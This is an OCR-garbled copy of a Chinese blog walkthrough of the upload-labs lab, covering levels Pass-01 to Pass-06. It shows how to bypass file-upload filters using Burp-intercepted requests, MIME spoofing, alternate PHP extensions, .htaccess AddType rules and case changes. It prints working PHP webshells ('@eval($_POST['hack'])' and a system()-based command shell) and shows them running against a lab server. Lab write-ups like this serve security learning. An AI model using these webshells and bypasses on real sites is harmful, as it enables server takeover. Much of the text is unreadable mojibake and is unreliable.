upload-labs $37%5>]

King_nul 2F 2022-04-21 18:37:00 &% 1264 e

FREE: HHHS] CERE: MRS php ngink apache web#4:

F 2022-04-21 18:36:12 B X KA

PR B . ARSCRIEERAISCE, #15.CC 4.0 BY-SA AU, H8iE M b SCH AR A< 75 B
ACEERE: https://blog.csdn.net/qq_45925514/article/details/124328594
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upload-labsZ — /M FphpiE E & 5K, EFIIREZZUMAMCTFHBEB K& LAARRAKES. BE
WERE X EAARFAAE A 2mE T #. Bir—3t20%, 8 —XBREEAFA LT K.
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Hithzeay
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XAEE
SRR TR RS
win Rgeg
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X
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Lz el |
TR
BRET
SRR
Content-Type/MIME &g
BEg XS/ I

#Einsnd

FF 45 18 5%
Pass-01

FR ELED, Bk bi— A shellstf, FFEBPIMBEEHIE, HMREHHELE

EB(ntercept)  HTTPEEZRHTIP history)  WebSocketBEiR(WebSockets history)  EH(Options)

) Hfr(Action ST Chrc
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ﬁ
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Z8FRE(on)

Requests sent by Burp's browser will be held here so th
analyze and modify them before forwarding them to t
server.
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* ASHE%HER@B §>

&« > C O A 192.168.58.21:8080/upload/phpinfo.php P, Oy

PHP Version 5.5.38 php

system Linux 25be72005050 3.10.0-862.2.3.¢17.x86_64 #1 SMP Wed May 9 18:05:47 UTC
2018 18664

Build Date Aug 10 2016 21:02:47

Configure “configure’ '-with P fig-fil
dir=fusr/local, isable-cgi' —enable-ftp' '—enable-mbstring’

ble-mysqlnd’ "wit with-libedit' with-cpenssl' " -with-zlib' '

with-apxs2'

Server API Apache 2.0 Handler
Virtual Directory | disabled

Support

Configuration File | /ust/local/etc/php
(php.ini) Path

Loaded Just/localetc/php/php.ini
Configuration File

Scan this dir for | ust/local/etc/php/conf.d
additional .ini files

Additional .ini files d/docker-php: itini, fusr/local,
parsed /docker-php-ext-gd.ini, /usr/localfetc/php/confd/php.ini
PHP API 20121113

PHP Extension 20121212

BT v i) B B AR RSO, A RSO AR R AR IE F 9 _EAEshell SR 5 IEH V7 1 2504, B NRTABAECE, AR5 sk mT DR A HoAth
Fiki T getshell T .

YRS
unction checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file =="") {
alert("FIEHFE EAEKSTH!");
return false;
¥
HWIE R T LAEHI X AR
var allow_ext = ".jpg|.png|.gif";

NI _EAE XIS

var ext_name = file.substring(file.lastindexOf("."));

WAL A& X AER B 5 0 L A%

if (allow_ext.indexOf(ext_name + "|") 1){
var errMsg = "ZCHEA RV B4R, 15 BAE" + allow_ext + "SREI RIS, H TSR AR ext_name;
alert(errMsg);
return false;

Tk BPWSG

SeBEAE L AE—shellSCf, FIWTR R A 42 SRk —MIMERR ] .



Bk (Request)
Pretty)  FEARaw)  16EAIHex)

POST /Pass—02/index.php HITP/1.1
Host: 192.168.58. 21:8080

Cookies

.

Accept: text/html, application/xhtml+mml, application/sml;
Accept-Language: zh—CI, zh; =0. 8, 2h-TW; ¢=0. 7, zh-HK; ¢=0. 5, en-US; g=0. 3, en; g=0. 2
Accept-Encoding: ezip, deflate

7 Content~ multipart/form-data;
boundary 5910677812103795677916134947
¢ Content—Length: 379

9 Origin: http://192. 168, 58. 21:8080

0 Conmection: close

1| Referer: http://192.168. 58. 21:8080/Pass-02/index. php
2 Upgrade-Insecure-Requests: 1

——5910677812103795677916134947
5 Content-Disposition: form-data; name="upload_file’; filename="phpinfo.php”
Content-Type: application/octet-stream

3 <%php phpinfol); 7>

~-5910677812103795677916134947
2 Content-Disposition: form-data; name="submit”

3 5910677812103795677916134947—

Rt SRR RE b A%, (LRI WA SR Ut B R 1,

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
.9, image/avif, image/webp, */*;q=0. 8

Wigi(Respons)
E{K(Pretty)

RsE(Raw)

</code>
FIR A%
</p>
<fli>
<lir
<h3>
L&
<[h3>
<form enctype="multipart/forn-data” method="pest” onsubmit="return checkFile()">

168l(Hex)  BWRASERender)  ERkiHeaders)

>

HERE EAMEN: p>
<input class="input_file” type="file” name="upload_file/>
“Amput class="button” type="submit’ name=’submit’ value=" [-f4"/>
form

<div id-"msg">
FER: SCPFERARIER, I ERT LAk

<Jdiv>
Cdiv 1d="1me">
<Jdiv>
</1i>
</ol>
<fdiv>

<fdiv>
<div id="footer”>
<center>
Copyrighténbsp; @nbsp; <span id="copyright time”>
</span>
&nbsp; byénbsp; <a href="http://evT. me” target="_bank">
cOnyl
<fa>
<[center>

gksE B, WAL AT B B A B2k

8w

Inspector W[ =
Request Attributes

Request Query Parameters
Request Body Parameters
Request Cookies
EHRk(Request Headers)

Response Headers

RIE R B AR B B2, KENNIRIGTEIMHEE, SCFE RS RpngE & REABEIER Lk,

ik (Request)

Cookies

th FtéRaw)  16%3(Hex)
POST /Pass-02/index. php HITP/1.1
Host: 192.188.58.21:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; z64; 1

1

4
5

Accept-Language: zh—CN, zh:q=0. 8, zh-TW; g=0. 7, zh-HK; g=0. 5, en-US; q=0. 3, en: q=0. 2
Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data;

boundary
& Content-Length: 378
Origin: http://192. 168. 58. 21:8080
Connection: close
Referer: http://192.168.58. 21:8080/Pass-02/index. php
2 Upgrade-Insecure-Requests: 1

10677812103795677916134947

00.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8

TUG 78121037906 7910l 3395
5 Content-Disposition: form—data; name="upload_file”; filename='phpinfu.pngf
Content-Type: application/octet—stream

§ <?php phpinfo(); 7>

5910877812103795677916134947
Content-Disposition: form—data; name="submit”

Lf%
23 5910877812103793677916134947—

IR (Respons)
ZEAb(Pretty)

n = BfaRaw)  1685l(Hex)  BAAE(Render)
IR AR
<fp>
<f1liv
<li>
<h3>
B
<fh3

#acki(Headers)

<p>
IR E LEMEN: >

</form>
<div id="msg">

Pers: SCAFRRLAIERD, 1%
<fdive
<div id="img">
<fdive

<[li>

<fol>

<fdive

<fdiv>
<div id="footer”>
<center>
Copyrighténbsp ; @nbsp; <span id="copyright_time">
</span>
&nbsp; byfnbsp; <a href="http://gvT.me” target="_bank">
cOnyl
<fax
<fcenter>
75 <fdiv>
<div class="mask”>
<fdiv>

<form enctype="multipart/form—data” method="post” onsubmit="return checkFile() ">

<input class="input_file” type="file” name="upload_file"/>
<input class="button” type="submit”’ name="submit” value=" F{£"/>

R

R

R

R

R



RIERARE A%, (HERIRIKpng B A AT BL 4%,
SABBSCH ) MIME 52 Content-Type B

LYY=
PNGE# .png image/png
GIF B .gif image/gif

UPEGKEI T .jpeg,.jpg image/jpeg

38 A txt text/plain

R B A I %08 .bin application/octet-stream
LA PRIEIE 5 304 .html text/html

&k (Request)

BtaRaw) 16325 (Hex) Cookies
2/index. php HITP/1.1
2 Host: 192.168. 58. 21:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/webp, #/#;q=0. 8

S

Accept-Language: zh—CH, zh; q=0. 8, zh~TW; g=0. 7, zh-HK; q=0. 5, en-US; g=0. 3, en; g=0. 2
6 Accept-Encoding: gzip, deflate
T Content-Type: multipart/form-data;
boundary
Content-Length: 363
9 Origin: http://192.168. 58. 21:8080
0 Cormection: close
11 Referer: http://192.168. 58. 21:8080/Pass—02/index. php
12 Upgrade-Insecure-Requests: 1
1

5910677812103795677916134947

4 5G10ATTAI>1NITASATTAIA] 34047

Content-Disposition: form-data; name="upload file”: filename="phpinfo.php”
{§ Content-Type: image/png

1
1
1
1
18 <2php phpinfo(); 2
19

7916134947

25 5910677812103795677916134947—

Lol

61

RIAXMHELEFR e E2T, REVH—TFACH

« > C

O & 192.168.58.21:8080/upload/phpinfo.php

Bt LUK BLAT BE R X SCAR IR MIME 347 T3t 98, BRE X SO A 3EAT T H .

spons)
ZPretty)  FHRaw)

16#5|(Hex)  WAAS(Render)  Eik(Headers) n

AR EENEN: o>

Cinput el input_file” type="file® name="upload_file"/>
<input class="button” ty mit” name="submit” value="_L{£"/>
</form>
<div id="msg”>
divy
e gt

I(ng src=". . /upload/phpinfo. php” width="250p%" />

<fdiv>y
<fli>
</ol>
divy

<fdiv>
<div id="footer”>
{center>
Copyrighténbsp; @mbsp; <span id="copyrizht_time">
</span>
&nbsp; byénbsp;<a href="http://gvT.me” target="_bank">
cOnyl
<Ja>
</center>
<fdiv>
<div class="mask”>

ialog”>
ass="dialog-title”>
#&nbsp; 71v<a href="javaseript:void(0)” class="close” title="2%[]
KM
</a>

L5

Inspector  u [}
Request Attributes
Request Query Parameters
Request Body Parameters
Request Cookies

Ak (Request Headers)

Response Headers

PHP Version 5.5.38

php

Linux 25be7a005050 3.10.0-862.2.3.l7.x86_64 #1 SMP Wed May 9 18:05:47 UTC

System
2018 x86_64
EBuild Date Aug 10 2016 21:02:47
Configure " Jeonfigure' '—with-config-file-path=/usr/localfetc/php’ --with-configfil
Command dir=fust/localfetciphp/contd’ ' —enable-fip" '—enable-mbstring’
: ble-mysglnd" *~with-curl" " libedit' -with 1" —mwith-zlib' -
with-apxs2*
Server API Apache 2.0 Handler
Virtual Directory  |disabled
Support
ile | fusr, php

ion Fi
(php.ini) Path

Loaded
File

fusi/local/etc/php/phpini

Scan this dir for
additional .ini files

fust/local/etc/php/contd

P asrflocal/ete/phpfcontd/docker-phe i, Jusrflocaletefphplcontd
parsed fdocker-php-ext-gd.ini, /usr/localfetc/php/confd/php.ni

PHP API 20121113

PHP Extension 20121212

e

BRI T XL AT LAE BIMR S5 php ARCAS AT [0 # RA L RO JB AR B SE (R R

WG, A LUEHIER php—&EARD #1T7 £, getshell



/7 hittp://192.168.58.21:8080 =S
BT (Forward) EF(Drop) =ENE(on) #E{E(Action) FIF USSR Chromium)

b(Preth [E#B(Raw) 16 (Hex) Cookies

POST /Pass—02/index. php HTTP/1.1

2 Host: 192.168.58. 21:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/zhtml+xml, application/zml;q=0. 9, image/avif, image/webp, */+ gq=0. 8
5 Accept—Language: zh-CN, zh; g=0. 8, zh—TW; g=0. 7, zh-HK; ¢=0. 3, en-US; ¢=0. 3, en; g=0. 2

Accept—-Encoding: gzip, deflate

Content—Type: multipart/form—data; boundary 379179854539157694802664853948
2 Content-Length: 447

Origin: http://192.168. 58. 21:8080

0 Cormnection: close

Referer: http://192. 168. 58. 21:8080/Pass—02/1index. php

.2 Upgrade-Insecure—Requests: 1

=

ol L0

-

[

=]

| 379179854539157694802664853948
.5 Content-Disposition: form-data; name="upload_file”; filename="emd_get_info.php”
Content-Type: image/png

o oQ

<7php

$emd = $_GET[ info' I,
$getshell = system($cmd) ;
print_r($getshell);

o

[

=]

13 37T9179854539157T694802664853948
14 Content—-Disposition: form—data; name="submit”

w0 bk
7 379179854539157694802664853948—

EfEERSE, ViR EERshellscfF, IR BEERITRIGSED info #1745, BFH “system() “ERBERZ LPATHS, “print_r “4TE]
SRFNTH £

192.168.58.21:8080/uploadfemd X

O & 192.168.58.21:8080/upload/cmd_get_info.php?info=Is

bj3.jpg cmd_get_info.php phpinfo.php readme.php readme.php

WA EE—aiEARD, AR5 HAwebshell TR BT EH



ﬁ http://192.168.58.21:8080 &3EE

HriT(Forward) E%(Drop) =& S(on) #Z={E(Action) FIFFEERE(Chromium)

=k(Pretty) EfE(Raw) 1633 (Hex) Cookies

;T ) I OO % I O Tt

-

[=: |

(1=

10
11

13
14
15
16
18
19

POST /Pass—02/index. php HTTP/1.1

Host: 192.168. 58. 21:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/xhtml+mml, application/=ml;g=0.9, image/avif, image/webp, */*; g=0. 8
Accept—Language: zh—CHN, zh;q=0. 8, zh-TW; g=0. 7, zh-HK; g=0. 5, en-US; ¢=0. 3, en; ¢=0. 2

Accept—Encoding: gzip, deflate

Content-Type: multipart/form—data; boundary 8719142323299058703078124815
Content—Length: 398

Origin: http://192.168.58. 21:8080

Connection: close

Referer: http://192.168.58. 21:8080/Pass-02/1index. php

Upzrade-Insecure-Requests: 1

8719142323299058703078124815
Content-Disposition: form—data; name="upload_file”; filename="hack post_shell. php”
Content-Type: imagefpnd

<7php
@eval ($_POST[ hack']) ;
T

8719142323299058703078124815

2 Content-Disposition: form—data; rame="submit”

Ef%

8719142323299058703078124815—

SIS T) AT



4 == (0192.168.58.21 3

O B#5il (0) < Ox3iE (5) ~
= OifiE +~ o+LE < Ry L=k MHZE ~ | fvar/www/htmifupload/ < i=E
S &% B ol it
=P www
LA heml @ bi3.jpg 2022-04-16 07:25:51 1.01 Mb 0644
M upload cmd_get_info.php 2022-04-16 08:03:24 80b 0644
a3]  hack_post_shell.php 2022-04-16 08:09:40 34b 0644
phpinfo.php 2022-04-16 07:46:08 23b 0644
¢7) readme.php 2022-04-16 06:56:15 36b 0755
= 155 -

false;
null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) { /#&% XHHIMIMEZEZ, H Gty image/png. image/jpeg. image/gif 7 G& L 15kZ)
if (( ['upload_file'|['type'] == 'image/jpeg’) || ( ['upload_file'|['type'] == 'image/png') || ( ['upload_file']['type'] == 'image
gif’)) {
['upload_file'|['tmp_name'];
UPLOAD_PATH. '/ ['upload_file']['name']
if (move_uploaded_file( , ) {
true;
} else {
'EAEHEE!
ki
} else {
SCEERRURIER, WEER B! Y
ki

} else {

UPLOAD_PATH.' X RANFFE, 78 F AR ! ',

J#:: MIME/Content-Type 7 B % ilF 4353

— AR A RRE], FIRTRREIKRR, HTad



Efe—AphpX 2 JFIRAANE LR LR RIS, WHRR—A (B RRE] LRERLBARSAERAR L%, HERERPATT

PSR EER, 7T AR — T AR AT AT S JR 4R, =t sead

Cookies

2 Host: 192.168.58. 21:8080

Accept-Language: zh—CN, zh; q=0. 8, zh-TW,; ¢=0. 7, zh~HK; g=0. 5, en-US; q=0. 3, en; q=0. 2
6 Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form—data;

boundary 280431903019618442553713708886
Content-Length: 385

Origin: http://192.168. 58. 21: 8080

Comnection: close

11 Referer: http://192. 168.58. 21:8080/Pass—03/index. php

2 Upgrade-Insecure-Requests: 1

IR (Respons)

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0. 8

1

1

1§ 280431903019618442553713708686

1f Content-Disposition: form-data; name="upload_file”; filename="phpinfo.php3”
1p Content-Type: application/octet—stream
1
1
1

3 <7php phpinfe(); 7>

280431903019618442553713708686
Content-Disposition: form-data; name="submit”

Lt

280431903019618442553713708886——

EfaR. s
<h3>
{E%
</h3>
<p>
Ff—A4~<code>
webshell
<[code>
FIRER.
<fpr
<11
<1i>
<h3>
EfIX
</h3>

IARTAIE (Render) ki (Headers)

=Rl

<form enctype="multipart/form-data” method="post” onsubmit="return checkFile() ">

<p>
FIEFEE EEME e <p>
<input class="input_file” type="file” name="upload_file"/>
<input class="button” type="submit’ name="submit” value=" F{£"/>
<fform>
<div id="msg">

T
<div id="img">
<img sre=".. /upload/202204160817509941. php3” width="250pxz" />

arv
<f1i>
<fol>
<fdivy

EEREEN php3 JE KM AR, THEHXHRSR T 45, EWlH—T, BFERE ABHENT.

80/upload/202204160817509941.php3

Bf




HIl—FZEH, BF T — FTREEN, K php3 NEEHEMFNT, phpsEFEMTHthRmt, TEERBEE—T.

- O 8 192.168.58.21:8080/upload/202204160822218113.phtml

ackBar () BESE [ m9s

html > body

v.ads + % @ B

SR T LRGN, MRNET, XERGITRLE, WLERA .php3 .php5 .php7 .phtml X K7 DB EET B, (HE2
FR 25 3 FA ) 2 apache HriE 4, T B B A& RSO E BT & R IME A htaccess ™ U #EAT T, R B E CRIFR P —A #HTR
B, NIm5ERER.

# 1520 a5 B apache2.conf X 1

root@25be7a005050:/etc/apache2# echo 'AddType application/x-httpd-php .php3 .php7 .phtml' >> apache2.conf
root@25be7a005050:/etc/apache2# cat apache?2.conf | grep AddType

AddType application/x-httpd-php .php3 .php7 .phtml

# BHF— 54, B L5 php3 .php7 .phtmliX 531
[root@vulnshow ~]# docker restart upload-labs
upload-labs

PRI php3 3CfF, BRATCAE BISCAFBENT 7, Xk SR B B IR R T, BTSRRI RE W AT X L 3T A

= o g X
O & 192.168.58.21:8080/upload/202204160817509941.php3 A S H E PEH}E Ron P = E~=

PHP Version 5.5.38 Php

system Linux 25be7a005050 3.10.0-862.2.3 el7.x86_64 #1 SMP Wed May 9 18:05:47 UTC
2018 x86_64

Build Date Aug 10 2016 21:02:47

Configure " feonfigure' -with-config-file-p: T

d dir=use/local/etc/php/cont.d *disable-cgi" --enable-ftp "--enabl

: alnc: -with-curl ~-with-libedit: -with-op
with-apxs2'

Server APl Apache 2.0 Handler

Virtual Directory  |disabled

Support

configuration File [/usr/local/etc/php

(php.ini) Path

Loaded fustflocal/etc/php/phpini

Configuration File

Scan thisdir for | /usr/local/etc/php/contd

additional .ini files

Additional .ini files dJdocker-php ey
parsed /docker-php-ext-gd.ini, /usr/local/etc/php/confd/php.ini




false;
null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) {

array('.asp','.aspx,".php',".jsp'); /& X 5 # 54
trim( ['upload_file'[['name']);/ = X 1B i B9 £ B85 #5 \Os \rs \n, \t. FEFHEZEFF
deldot( i/ XA RS H R

strrchr( )

strtolower( ); WEEB DG, Bribwindows & XA D G ik

str_ireplace(":$DATA', ", Y/ EBFEFFESDATA, Brikwindows & ZXT::3DATAZ J5 B 517542 B5 G

trim( ); ML A

if(lin_array( , ) {
['upload_file'|['tmp_name'];
UPLOAD_PATH."/'.date("YmdHis").rand(1000,9999)
if (move_uploaded _file( , ) {
true;
} else {
"B

1

} else {
"SR A% asp,.aspx,.php, .jsp/E &L
ki
} else {
UPLOAD_PATH . 'S RATELE, EFLAIE!

Jiik: BoE A AR S B0 R S0 B B Th @ A

Pass-04

BR—FEZR b, KRB EE—A> phtml K304, FHRNEEER,

LT — A webshell BIRSSER.

BEEFELFEOER:

AR,

HEHEST, HHXRERARERRAL LR, BELE—TFENHER FF




gk (Request)

ZipPrery)  BARaw)  168H(Hex)

1 POST /Pass-04/index. php HTTP/1.1
2 Host: 192.168.58. 21:8080

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win®4; x64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/webp, */*; q=0. 8
Accept-Language: zh-CH, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; ¢=0. 5, en-US; q=0. 3, en; q=0. 2

Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
beundary 2
9 Content-Length: 389

9 Origin: http://192.168. 58. 21:8080

10 Cennection: close

11 Referer: http://192.168. 58. 21:8080/Pass-04/index. php
12 Uperade-Insecure-Requests: 1

8w =

Cookies

oo

TT1061922798729667471

13

14 TBZ58 [ TUG1 922 (987 2906 1 471

15 Contpnt-Disposition: form-data; name="upload_file”; filename="phpinfo.abcdefghi jk|’
16 Contpnt-Type: application/octet—stream

17

18 <7?php phpinfe(); 7>

TT1061922798729667471

21 2!
22 Content-Disposition: form-data; name="submit

24 Lfk
25 598258771061922798729667471—

IERz(Respons) Inspector
HgPrety)  Bth(Raw)  16E#(He)  BUAS(Render)  iFRk(Headers) N = Request At
%
</h3> Request Quer
56 <>
A
J—iibsl']:ﬁ"de} Request Body
</code>
FIE% . Request Cook
</p>
57 <Jliv Bk (Reque:
58 1i>
59 <h3> Response He:
R
</h3>
60 <form enctype="multipart/formdata” method="post” onsubmit="return checkFile() ">
61 <p>
FIERE LM o>
62 <input class="input_file” type="file” name="upload file"/>
63 <input class="button” type="submit” name="submit” value="I{£"/>
64 </form>
65 <div id="msg">
66 T
67 <div id="img">
68 <img sre=".. /upload/phpinfo. abedefehi jk” width="250px" />
<Sdiv>
69 /11>
70 <fol>
71 <fdiv>
73
T4 <fdiv>
75 <div id="footer”>

E¥EEEXRT, RHXEFERBARKET, WREARBIMESRE X a8 LAML)E R0 (R 68 Efkpng,jpeg,gif), B4 HitR
S BRI R LA AR L5 BRSO (I E— R E), php. aspiX KA RE B A%), Seid BAL BTt R — A — A, BE IRLEURC

U 2B T B4
apache2 H AL B A 5% i BURBC B SC 5t 2 [L.htaccess] 30
nginx 2 [.user.ini] 34

XA SCHRER R —REE, RREBEBIEEAR—H, .htaccess #l .user.ini X4 §FC & 7 A% s5apache2.conf IR E, 3£ 487 B

T HFRAEMK.

FRXE ARSI EBEOUES, U ERSE EfE—1 .htaccess 3 ft.

EZTR oo (<

i&Fk(Request) IERI(Respons) a=
=(oPretty)  FHSRaw)  1625Hex)  Cookies n o= EibPretty)  FHRaw)  165H(Hex)  BRAZRende)  EXk(Headers) n
1 POST /Pass-04/index. php HTTP/1.1 55 <h3>
2 Host: 192.168.58. 21:8080 {E5%
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 <fh3>
4 Accept: text/html, application/zhtml+mml, application/ml;q=0. 9, image/avif, image/webp, */*; ¢=0. 8 36 <>
5 Aceept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, 2h—HK q=0. 5, en-US; q=0. 3, en; g=0. 2 btk —Aceoder
6 Accept-Encoding: gzip, deflate webshell
7 Content-Type: multipart/form-data; </code>
boundary 258771061922798729667471 FIRAE R
& Content-Length: 404 </p>
9 Origin: http://192.168. 58. 21:8080 57 <1i>
10 Connection: close 58 <li
11 Referer: http://192. 168. 58. 21:8080/Pass-04/index. php 59 <h3>
12 Upgrade-Insecure-Requests: 1 EfEX
13 </h3>
1 60 <form enctype="multipart/form-data” method="post” onsubmit="retwn checkFile() ">
1} Content-Disposition: form—data; name="upload_file”; filename=".htaccess" 61 <p>
1 Content-Type: application/octet-stream GE : pr
1 62 input_file” type="file” name="upload_file"/>
14 AddType application/z—httpd-php . abodefghi jk 63 <input class="button” type="submit” name="submit” value="I{%"/>
1 64 </form>
2 65 <div id="msg”>
21 258771061922798729667471 66 T
22 Content-Disposition: form—data; name="submit” o7 <div id="img’>
23 68 <img src="../uplead/. htaccess” width="250px" />
24 Ef&
25 598258771061 922798729667471— Lax
69 </1i>
70 <fol>
1 </div>
73
T4 <fdiv>
75 <div id="footer”>
6 <center>

BIh k4% .htaccess X, XMHFFHHNAERBLE:

Bt http://192.168.56.21:8080 /5

Request Attributes

= Inspector
Request Query Parameters
Request Body Parameters
Request Cookies
B R (Request Headers)

Response Headers

¥ **.abcdefghijk **J& 4% B SCAF 5 Fl php A Bt AT T, I BL7E 200 B AT B Kb A M.



i ASHEPHERD <,

« - C B 192.168.58.21:8080/upload/phpinfo.abedefghijk 1 &’ﬁ.

PHP Version 5.5.38 php

System Linux 25be7a005050 3.10.0-862.2.3.¢17.x86_64 #1 SMP Wed May 9 18:05:47 UTC
2018 x86 64

Build Date Aug 10 2016 21:02:47

Configure " feonfigure’ "—with-config-fil hp' '—with-config-fil
& o b

le-cqi' -enable-ftp’ ‘—enable-mbstring’
g P’ 9
rl''--with-libedit’ '--with-openssl' *--with-zlib’ *--

with-apxs2'

Server API Apache 2.0 Handler
Virtual Directory disabled

Support

configuration File | /usr/local/etc/php
(php.ini) Path

Loaded fuseflocal/etc/php/php.ini
Configuration File

Sean this dir for | jusrflocal/etc/php/contd
additional .ini files
Additional .ini files .d/docker-php ifini, fus/|

parsed /docker-php-ext-gdini, /usr/local/etc/php/contd/phpini

RIS T R A B SRR o

false;
null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) { // 14 JE— I X IG4%. FEAZRLIE htaccess F1 .user.ini 1
array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHpP5",".pHp4",".pHP3",".pHP2","pHp

1" " Heml"," Htm" " pHtmI®, " jsp”," jspa”, " jspx"," jsw"," jsv", " jspf", " jtml"," jSp"," jSpx"," jSpa”," jSw"," jSv" " jSpf"," jHtml" ".asp

S".aspx',".asa",".asax]

".ascx’,

.ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cer",".sWf",".swf");
trim( ['upload_file']['name']);
deldot( )i// B I5R XAFE R JE H R
strrchr( )
strtolower( ); NEB DT
str_ireplace("::$DATA', ", \WES =tia
trim( ); WE 25

if (!in_array( ‘ ) A
['upload_file'|['tmp_name'];
UPLOAD_PATH."/'.date("YmdHis").rand(1000,9999)
if (move_uploaded_file( , R
true;
} else {
'EAEHE

¥

} else {
WA S B AR

¥

} else {

UPLOAD_PATH . 'SUE R AR 1E, iE T TR !

Jitk: Apache fURCHF b 4% ¥R

XK, =W 7RSS AT, Seat TIREIE



false;

null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) {
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtm!",".pht",".pHp",".pHP5",".pHP4",".pHP3",".pHP2",". HtmI",".Htm
",".pHtmI",".jsp",".jspa",".jspx",".jsw"," jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtmI",".asp",".aspx",".asa",".asax",".ascx",".ashx"

".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
trim( ['upload_file'l['name']);/1%;
deldot( )i/ XA RSB H R
strrchr( ) HER R G — 1 B R T HIF A (user.ini R 5 73 E 45 Rt A .ini )
str_ireplace("::$DATA', ", Vi Z B F 1 E $DATA
trim( ) /B ELEE

if (in_array(
['upload_file'|['tmp_name'];
UPLOAD_PATH."/".date("YmdHis").rand(1000,9999) N BHIAE
if (move_uploaded _file( , N {
true;
}else {
"B

¥

}else {
R BA S BAEL
}
} else {
UPLOAD_PATH . 'SUfRAFFE, G FLTAIR!

B, SR trim() BB R E BEREEE, REMH deldot() BB TR B K Sk, B strrchr() REEABOCE4
BiE—NRERENZ/FE, B str_ireplace() REGF/H FEHF SDATAKIH A ZHAE, BREFENZHEHITHERESE, Bt
TIREIRR .

1. SBEMHEEE, WRE Linux T, HBRRKAS S, HEBRMEH *.user.ini * 34

2. HFstrrechr(RBSBRIBEZHABEMER RSB AT AR, BIHELE P RGN 5 0x0074E; B

3. BEBHT bEXH BRI A& ER

B4, XRWMPENINuXIFE FREEAATE LLSHT, (B2 IR AEWNdows T8 WX FR R R, sE4n kTR,



X LR iRRET

UPLOAD_PATH .

X Ewindows EH#EE ISR, YEASE AR fMupload-labs —8f), XA XN #IAERTE windows Finfifgeid, —rEEE: L4E— 4 shell
XA, RAEwindows KNS ABURKIREE, BUAT CAEERK R SOHT KNS B Mt irsad, BRI 8E X U AT KNS S i .

HiT(Forward) £ZHDrop) £ E(on) #Ef(Action) FIFFIAEER (Chromium) IS (Comment this item) | Y | HTTRN (B)
[FE(Raw) 1638E#(Hex) Cookies = N = Inspector . n T - & X

1 POST /Pass—05/index. php HTTP/1.1
Z Host: 192.168. 93.125:8082 Request Attributes 2 v
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4, =64; rv:100.0) Gecko/20100101 Firefex/100.0
4 Accept: text/html, application/zhtml+mml, application/=ml;g=0. 9, image/avif, image/webp, #/4;q=0. 8 Request Query Parameters o ~
5 Accept-Language: zh—CHN, zh;q=0. 8, zh—TW; g=0. 7, zh—HK; g=0. 5, enUS; ¢=0. 3, en; g=0. 2
& Accept-Encoding: gzip, deflate o Pl " 5 -
7 Content-Type: multipart/form-data; boundary 29853040602237535399395706320 T
2 Content-Length: 382 .
9 Origin: http://192.168. 93.128:8082 Request Cookies o v
10 Connection: close
11 Referer: http://192.168. 93. 128:8082/Pass—05/1index. php EFL(Request Headers) 11 v

12 Upgrade-Insecure-Requests: 1

14 29853040602237535399395T06320
15 Content-Disposition: form—data; name="upload_file”; filenamk="phpinfo. PHP"

Content-Type: application/octet-stream

?php phpinfo(); ?

21 29855040602237535399395706320
22 Content-Disposition: form—data; name="submit”

PORRRNANANTI2TERR2AGORTARIIN——




[E==

EE—

HEX
EEEBLEQEA:

BT B4R T, BE#E5 A BT

Fik: KAGgE

BEME Efe—AN MR

[Eta(Raw) 16iE8](Hex) Cookies
1 POST /Pass—06/index. php HTTP/1.1
2 Host: 192.168. 58. 21:8080

e

5 Accept-Language: zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK; ¢=0. 5, en-US; ¢=0. 3, en; ¢=0. 2
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form—data;
boundary 27631567323546033550998626937
8 Content-Length: 390
9 Origin: http://192. 168. 58. 21:8080
0 Comnectien: close
Referer: http://192. 168. 58. 21:8080/Pa
2 Upgrade-Insecure-Requests: 1

08/index. php

276315673235460335509985826937
5 Content-Disposition: form-data; name="upload_file”; lfllename:"DhDinfo. php. aaa. xxx'l
6 Content-Type: application/octet—stream

?php phpinfo(); 2

27631067323046033000998626937
Content-Disposition: form—data; name="submit”

At

User-Agent: Mozilla/5. 0 (Windows NT 10.0; WinB4; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/xhtml+xml, applicatioen/mml;q=0. 9, image/avif, image/webp, */*; g=0. 8

pload/262264162133426947 . PHE" width="258px">

y » divémain » divéupload_p: > i > divkimg >
[0 #5

img

thov .ds

